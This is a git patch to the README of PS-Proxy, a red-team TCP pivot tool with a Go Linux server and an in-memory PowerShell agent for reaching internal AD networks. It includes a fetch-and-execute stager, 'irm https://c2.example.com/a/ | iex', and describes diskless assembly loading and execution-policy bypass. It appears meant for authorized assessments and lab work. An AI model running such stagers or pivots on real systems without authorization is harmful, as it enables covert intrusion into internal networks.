From 42b6fcb9136569955854192eaf3b78e8b98ef0f4 Mon Sep 17 00:00:00 2001 From: Harrison-Wells-Cyber Date: Thu, 23 Jul 2026 21:42:41 -0700 Subject: [PATCH] =?UTF-8?q?Add=20Let=E2=80=99s=20Encrypt=20cert=20guidance?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 361 ++++++++++++++++++++++++++---------------------------- 1 file changed, 172 insertions(+), 189 deletions(-) diff --git a/README.md b/README.md index 7a79920..89a45d6 100644 --- a/README.md +++ b/README.md @@ -1,247 +1,230 @@ # PS-Proxy -PS-Proxy is being rebuilt as a professional route-based pivot with a Go Linux -server and a single-file PowerShell 5.1 agent. The project goal is reliable -operation for TCP-heavy AD tooling such as Impacket, NetExec, RustHound, -`ldapsearch`, and TCP-connect `nmap`, without proxychains and without requiring -administrator privileges on the Windows agent host. +PS-Proxy is a route-based TCP pivot for operators who need to reach internal +network services from a Linux VPS through a Windows host that can access those +services. It is built for TCP-heavy tooling such as Impacket, NetExec, +RustHound, `ldapsearch`, and TCP-connect `nmap` without proxychains and without +requiring local administrator privileges on the Windows agent host. -> Current implementation status: the repo now has a working encrypted enrollment -> flow, a framed multiplexed TCP stream protocol, a diskless PowerShell/C# agent -> packaging flow, and a developer TCP relay for end-to-end protocol testing. The -> full production TUN/netstack data plane is still the next major milestone. +The tool has two parts: -## Design decisions +- **Linux server:** a Go binary that listens over TLS, stages one-time agent + downloads, manages the encrypted tunnel, and redirects routed TCP traffic into + the tunnel. +- **Windows agent:** a single PowerShell 5.1 script that loads the embedded C# + core in memory, enrolls with the server, and opens outbound TCP connections to + internal targets from the Windows host's network position. -- **Server:** Go, intended to run as root on Linux. -- **Data plane:** Linux transparent TCP redirect mode is implemented now for test-environment use: local tools connect directly to routed target IPs, iptables redirects matching TCP connections to the server, and the server relays the original destination through the enrolled agent. A true TUN/netstack backend remains the long-term production direction. -- **Agent:** Windows PowerShell 5.1 loader with a precompiled C# core embedded - into a single `.ps1`. -- **Agent delivery:** one command, one file, no separate DLL transfer: - `irm https://server/a/ | iex`. -- **Target-side privileges:** no local admin required on the Windows agent host. -- **Enrollment:** the server creates a short-lived one-time staging URL. The - generated agent script contains an enrollment token rather than a long-term - PSK. -- **Trust anchor:** TLS is transport and staging only. The agent pins the stable - PS-Proxy application identity public key and establishes an authenticated - encrypted tunnel inside TLS before enrollment tokens or tunnel frames are sent. -- **Disk behavior:** release agents do not use `Add-Type`, do not invoke - `csc.exe` on the target, and do not intentionally write the managed agent DLL - to disk. The embedded DLL is loaded with - `[System.Reflection.Assembly]::Load(byte[])`. +## How it works -## Repository layout +1. You run `psproxy-server` on a Linux amd64 VPS with a public domain and TLS + certificate. +2. The server creates or reuses a stable PS-Proxy identity key + (`psproxy_identity.pem`) and prints a one-time PowerShell staging command. +3. You run the printed command on a Windows host that can reach the target + network. +4. The staged agent verifies the PS-Proxy identity inside the TLS connection, + enrolls over an authenticated encrypted tunnel, and starts relaying traffic. +5. On the Linux server, your tools connect directly to routed target IPs. In + transparent redirect mode, PS-Proxy installs iptables NAT rules that redirect + matching TCP connections into the local relay. The server preserves the + original destination and asks the agent to open that target from the Windows + side. + +The Windows agent does not intentionally write the managed payload DLL to disk. +Release agents load the embedded assembly with +`[System.Reflection.Assembly]::Load(byte[])`. + +## Quick start from a release zip + +Use this path if you downloaded a prebuilt release zip and do not want to build +from source. + +### Requirements + +- A Linux amd64 VPS. +- A public DNS name that points to the VPS. +- A valid TLS certificate and private key for that DNS name. +- If you do not already have a certificate, point your domain at the VPS and use Certbot, for example `sudo certbot certonly --standalone -d c2.example.com`. +- Root privileges on the Linux server when using transparent redirect mode. +- A Windows host with Windows PowerShell 5.1 that can make outbound HTTPS + connections to the VPS and can reach the internal target network. + +### Release zip layout + +Extract the release zip and keep the included directory structure intact: ```text -cmd/psproxy-server/ Go server entrypoint -internal/protocol/ framed tunnel protocol helpers and tests -internal/staging/ one-time agent staging/enrollment helpers -agent/PSProxy.Agent/ PowerShell 5.1-compatible C# agent core source -agent/loader/agent.ps1.tmpl single-file PowerShell loader template -release/agent.ps1 packaged release agent placeholder/artifact -tools/build-agent.ps1 Windows build script for release/agent.ps1 -agent.ps1 source-checkout pointer to release agent workflow +psproxy-release/ +├── psproxy-server +├── agent/ +│ └── loader/ +│ └── agent.ps1.tmpl +└── release/ + └── agent_assembly.b64 ``` -The GitHub repository intentionally contains both source code and a release -agent location. Packaged releases should replace `release/agent.ps1` with a -ready-to-run generated file so an operator can download and run without doing -manual packaging. +The server uses `agent/loader/agent.ps1.tmpl` and `release/agent_assembly.b64` +by default when you run it from the extracted directory. -## Build the Go server on Linux +### Start the server -From the repo root: - -```bash -go test ./... -go build -o psproxy-server ./cmd/psproxy-server -``` - -The build produces `./psproxy-server`. - -## Build the single-file PowerShell 5.1 release agent - -The first supported target is Windows PowerShell 5.1, so build the release agent -on a Windows machine with the .NET Framework compiler available. - -Open Windows PowerShell from the repo root and run: - -```powershell -powershell -ExecutionPolicy Bypass -File tools\build-agent.ps1 -``` - -That script: - -1. Compiles `agent\PSProxy.Agent\PSProxy.Agent.cs` with the .NET Framework C# - compiler. -2. Compresses the compiled `PSProxy.Agent.dll`. -3. Base64-embeds the compressed DLL into `agent\loader\agent.ps1.tmpl`. -4. Writes the single-file release loader to `release\agent.ps1`. -5. Writes `release\agent_assembly.b64`, which the Go server uses by default to render one-time staged agents. - -The Windows target still receives only one PowerShell script. The build step is -for the release maintainer, not the operator running the agent. Keep -`release\agent_assembly.b64` next to the server working directory, or pass it -explicitly with `--agent-assembly-b64-file`. - -## Start the server with transparent TCP routing - -Use a real certificate for HTTPS transport/staging. PS-Proxy will create or reuse -`psproxy_identity.pem` as the application-layer trust anchor; keep this file -stable across server restarts and redeployments so existing staged agents trust -the same server identity. On the Linux server, run as root so PS-Proxy can -install and remove iptables NAT rules: +From the extracted release directory, run: ```bash +chmod +x ./psproxy-server sudo ./psproxy-server \ --domain c2.example.com \ --cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \ --key /etc/letsencrypt/live/c2.example.com/privkey.pem \ --route 10.10.10.0/24 \ --redirect \ - --max-streams 256 \ - --dns-listen 127.0.0.1:5353 \ - --dns-target 10.10.10.10:53 + --max-streams 256 ``` -With `--redirect`, PS-Proxy creates an iptables NAT chain for each `--route` and -redirects matching local TCP connects into a loopback listener. The server reads -the original destination with `SO_ORIGINAL_DST`, sends that host:port through the -encrypted tunnel, and the Windows agent opens the target with a normal outbound -`TcpClient` from its network position. +Replace: -The server owns its configured `--listen`/`--port` socket while it is running. -By default that is `0.0.0.0:443`, so another web server or reverse proxy cannot -bind port 443 on the same IP at the same time. If you need another service on -443, either bind PS-Proxy to a different address with `--listen`, run PS-Proxy on -a different external port with `--port`, or put a fronting load balancer/reverse -proxy on 443 and forward PS-Proxy traffic to its own backend port. +- `c2.example.com` with your domain. +- The `--cert` and `--key` paths with your certificate paths. +- `10.10.10.0/24` with the internal network reachable from the Windows host. -The server prints a one-time command: +If your certificate is in the default Let's Encrypt location for the domain, you +can omit `--cert` and `--key`: + +```bash +sudo ./psproxy-server \ + --domain c2.example.com \ + --route 10.10.10.0/24 \ + --redirect +``` + +By default, PS-Proxy listens on `0.0.0.0:443`. If another service already uses +port 443, set `--listen` or `--port`, or place PS-Proxy behind a fronting load +balancer or reverse proxy that forwards to its own backend port. + +### Run the Windows agent + +When the server starts, it prints a one-time PowerShell command like: ```powershell irm https://c2.example.com/a/ | iex ``` -The generated script auto-starts, loads the embedded C# core in memory, verifies -the staged PS-Proxy identity public key with an application-layer handshake, -sends enrollment inside the encrypted/authenticated tunnel, and then uses that -protected tunnel for all framed TCP and DNS relay traffic. +Run that command in Windows PowerShell 5.1 on the Windows host that can reach the +internal network. After the agent enrolls, keep the PowerShell session running +for as long as you need the tunnel. -## Optional fixed-target developer TCP relay +### Use your tools -For controlled protocol testing without iptables redirects, use the fixed-target -TCP relay. Example: +From the Linux server, connect to hosts in the routed CIDR directly. For example: + +```bash +ldapsearch -x -H ldap://10.10.10.10 -b 'DC=example,DC=local' '(objectClass=domain)' +nmap -sT -Pn -p 445 10.10.10.10 +``` + +With `--redirect`, matching TCP connections to `--route` networks are redirected +through PS-Proxy and opened by the Windows agent from its network position. + +### Optional DNS relay + +If you want DNS queries to be forwarded through the agent to an internal DNS +server, add both DNS flags when starting the server: ```bash sudo ./psproxy-server \ --domain c2.example.com \ - --cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \ - --key /etc/letsencrypt/live/c2.example.com/privkey.pem \ --route 10.10.10.0/24 \ - --tcp-listen 127.0.0.1:1389 \ - --tcp-target 10.10.10.219:389 + --redirect \ + --dns-listen 127.0.0.1:5353 \ + --dns-target 10.10.10.10:53 ``` -Then run the printed one-liner on the Windows host. After the agent connects, -test from the Linux server: +Then point DNS-capable tools at `127.0.0.1:5353` when they support a custom DNS +server and port. + +### Optional fixed-target TCP relay + +For a single local port mapped to a single internal target, use the fixed-target +TCP relay: ```bash -nc -vz 127.0.0.1 1389 -ldapsearch -x -H ldap://127.0.0.1:1389 -D 'user@example.local' -W -b 'DC=example,DC=local' '(objectClass=domain)' +sudo ./psproxy-server \ + --domain c2.example.com \ + --tcp-listen 127.0.0.1:1389 \ + --tcp-target 10.10.10.10:389 ``` -Transparent redirect mode is the recommended test-environment workflow right now. -The fixed-target relay remains useful when you want a single local port mapped to -a single target for debugging. Use `--max-streams` to cap concurrent proxied TCP -connections during high-concurrency tools such as NetExec; the default is 256. -When `--dns-listen` and `--dns-target` are set together, the server exposes UDP -and TCP DNS listeners on the same local address and forwards raw DNS queries -through the enrolled agent to the internal DNS server reachable from the agent -host. +After the agent connects, use the local listener: -## Security notes +```bash +ldapsearch -x -H ldap://127.0.0.1:1389 -b 'DC=example,DC=local' '(objectClass=domain)' +``` -- Use HTTPS staging. Plain HTTP `irm | iex` is mechanically possible, but it is - not acceptable for sensitive environments because staging tampering means code - execution on the Windows host. -- TLS is transport only; do not use the HTTPS certificate as the PS-Proxy root of trust. -- The server has a stable RSA identity key (`--identity-key`, default - `psproxy_identity.pem`). If the file is missing, the server generates a - 3072-bit RSA key and logs the SHA-256 pin of the public key DER. -- Keep `psproxy_identity.pem` stable and private. Rotating it intentionally - changes the PS-Proxy trust anchor and requires staging new agents. -- The staged agent embeds the server identity public key, performs an - application-layer PSP1 handshake, verifies a server HMAC proof, and only then - sends enrollment/reconnect tokens inside encrypted authenticated frames. +### Operational notes + +- Keep `psproxy_identity.pem` private and stable across restarts. It is the + PS-Proxy application identity used by staged agents. - Enrollment URLs are short-lived and one-time use. -- The enrollment token is placed in the HTTPS response body, not in the URL. -- Do not log generated agent bodies or enrollment tokens. -- The loader avoids intentional target-side file writes for the managed payload, - but host telemetry, PowerShell logging, AMSI, EDR, crash dumps, or pagefile - behavior are outside the loader's control. +- Do not log generated agent bodies, enrollment tokens, or reconnect tokens. +- The server needs permission to install and remove iptables NAT rules when + `--redirect` is enabled. +## Build from source -### TLS inspection / enterprise decryption +Use this path if you cloned the repository and want to produce the server binary +and packaged agent assets yourself. -PS-Proxy now treats HTTPS/TLS as transport and staging rather than as the tunnel -root of trust. Enterprise TLS inspection products such as Palo Alto, Zscaler, or -other decrypting proxies may present an enterprise-issued leaf certificate to the -agent; this should no longer break agent/server trust because the agent verifies -the staged PS-Proxy identity public key inside the TLS connection. +### Requirements -Operational guidance: +- Go 1.24 or newer for the Linux server. +- A Windows machine with Windows PowerShell 5.1 and the .NET Framework C# + compiler for building the release agent. -- Keep using HTTPS for staging so the one-time loader is not exposed to trivial - network tampering. -- Keep `psproxy_identity.pem` private and stable. It is the PS-Proxy identity, - and its public key pin is what identifies the legitimate server to agents. -- Back up `psproxy_identity.pem` with the same care as other server secrets. If - it is lost and regenerated, previously staged agents will not trust the new - identity unless they are restaged with the new public key. -- TLS inspection can still observe the outer HTTPS transport metadata, but it - cannot read or tamper with protected PSP1 tunnel frames after the - application-layer handshake without detection. +### Build the Linux server -## Current implementation status +From the repository root on Linux: -Implemented now: +```bash +go test ./... +go build -o psproxy-server ./cmd/psproxy-server +``` -- Go TLS listener with mixed HTTP staging and raw agent tunnel handling. -- Stable PS-Proxy RSA identity key generation/reuse with a logged public key pin staged into generated agents. -- Short-lived one-time staging URLs. -- Application-layer PSP1 secure handshake before enrollment, followed by encrypted/authenticated frame transport and reconnect-token authentication after first enrollment. -- Agent auto-reconnect with exponential backoff for transient tunnel failures. -- Framed multiplexed stream protocol. -- Linux transparent TCP redirect mode for direct local-tool TCP connections to routed target IPs. -- Fixed-target TCP relay mode for protocol validation. -- Bounded concurrent stream handling with per-stream local write queues so one slow local TCP client cannot block the whole multiplexed agent session. -- Optional UDP DNS relay that forwards raw DNS queries through the agent to an internal DNS server. -- JSON `/status` endpoint for agent and stream visibility. -- C# agent stream relay that opens normal outbound `TcpClient` connections from - the Windows host. -- PowerShell loader template that loads a compressed/base64 managed assembly from - memory. -- Windows build script to package the C# core into `release/agent.ps1`. +For a smaller release binary: -Next milestone: +```bash +go build -trimpath -ldflags="-s -w" -o psproxy-server ./cmd/psproxy-server +``` -- Replace the Linux transparent redirect backend with a true production Go TUN/netstack data plane. -- Add route setup/cleanup and `doctor` checks. -- Add integration tests for LDAP/RustHound-scale long-running TCP streams. +### Build the PowerShell release agent -## Testing direction +From the repository root on Windows, run: -Before this project should be trusted for real assessments, it needs a lab test -matrix that includes: +```powershell +powershell -ExecutionPolicy Bypass -File tools\build-agent.ps1 +``` -- large bidirectional byte-stream integrity tests; -- many concurrent stream tests; -- long-running LDAP/RustHound collection tests; -- NetExec SMB/LDAP tests; -- Impacket SMB/LDAP/RPC tests; -- reconnect and stale route cleanup tests; -- DNS relay tests against an internal AD DNS server; -- malformed frame and enrollment fuzz tests; -- certificate pin mismatch tests. +The build script writes: + +- `release/agent.ps1` — a single-file PowerShell loader with the embedded agent + assembly. +- `release/agent_assembly.b64` — the compressed/base64 agent assembly used by + the server when rendering one-time staged agents. + +### Assemble a release directory + +Create a release directory with the server binary and packaged agent assets: + +```text +psproxy-release/ +├── psproxy-server +├── agent/ +│ └── loader/ +│ └── agent.ps1.tmpl +└── release/ + └── agent_assembly.b64 +``` + +You can now zip `psproxy-release/` and distribute it as a ready-to-run Linux +amd64 release bundle for operators who provide their own domain and TLS +certificate.